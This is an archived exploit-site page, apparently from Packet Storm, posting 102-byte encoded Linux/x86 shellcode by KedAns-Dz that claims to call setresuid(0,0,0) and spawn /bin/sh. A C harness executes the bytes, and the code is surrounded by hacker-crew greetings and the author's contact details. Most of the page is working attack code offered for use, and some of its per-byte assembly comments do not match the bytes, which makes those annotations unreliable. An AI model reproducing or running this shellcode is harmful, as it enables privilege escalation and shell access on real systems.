exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) Shellcode

Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) Shellcode
Posted Jan 15, 2012
Authored by KedAns-Dz

102 bytes small Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 79f5781728e64d7959353df2c015bfe36ef3dc5b859a8118528732c5de92dade

Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) Shellcode

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
###
# Title : linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) - 102 bytes (coded)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com
# Facebook : http://facebook.com/KedAns
# platform : linux/x86
# Type : Shellcode - 102 Bytes (encoded)
# Tested on : Linux.(Ubuntu 10.10) En
###

##
# I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_*
##

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |
# | ------------------------------------------------- < |
##

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char sc[] =
"\x31\xDB" // xor %ebx,%ebx
"\x8D\x43\x0D" // lea %eax,%ebx
"\xCD\x80" // int $0x80
"\x66\x31\xC0" // xor %ax,%ax
"\xDB\xD1" // fcmovne %st,%st
"\x33\xC9" // xor %ecx,%ecx
"\xB1\x11" // mov %cl,$0x11
"\xD9\x74\x24\xF4" // fstenv %esp
"\x5B" // pop %ebx
"\x83\xC3\x04" // add %ebx,$0x04
"\x31\x43\x11" // xor dword %ebx $0x11,%eax
"\x03\x43\x11" // add %eax,dword %ebx $0x11
"\xE2\xF5" // loopd short (from me)
"\x31\xC9" // xor %ecx,%ecx
"\x31\x2E\xC6" // xor dword %esi,%ebp
"\x2A\x81\x74\xE4\x2D\x88" // sub al,%ecx $0x882DE474
"\xAF" // scas dword,%edi
"\x9D" // popfd
"\x3A\x4C\x82\xE2" // cmp %cl,%edx,%eax
"\x2F" // das
"\x67\x44" // inc %esp
"\x7A\xFD" // jpe short (from me)
"\x11\x1C\x51" // adc dword %ecx,%edx,%ebx
"\x61" // popad
"\x57" // push %edi
"\x3B\xC1" // cmp %eax,%ecx
"\x4A" // dec %edx
"\x14\xAB" // adc %al,$0xAB
"\x12\xFD" // adc %bh,%ch
"\xF5" // cmc
"\x49" // dec %ecx
"\x7A\x93" // jpe short (me)
"\x80\x6E\x2E\x83" // sub %esi,$0x2E,$0x83
"\x9B" // wait
"\x70\xCF" // jo short (me)
"\x53" // push %ebx
"\xB3\x12" // mov %bl,$0x12
"\xA6" // cmps %esi,%edi
"\x3D\xE4\xA1\x50\xC2" // cmp %eax,$0xC250A1E4
"\xAD" // lods dword %esi
"\x16" // push ss
"\x28\x23" // sub %ebx,%ah
"\x9C" // pushfd
"\x18\x1B" // sbb %ebx,%bl
"\x7F\x75" // jg short
"\x19\x04\xB2" // sbb dword %edx %esi,%eax
"\x0A\x00"; // or %al,%eax

int main()
{
int (*dz)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
dz();
}

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close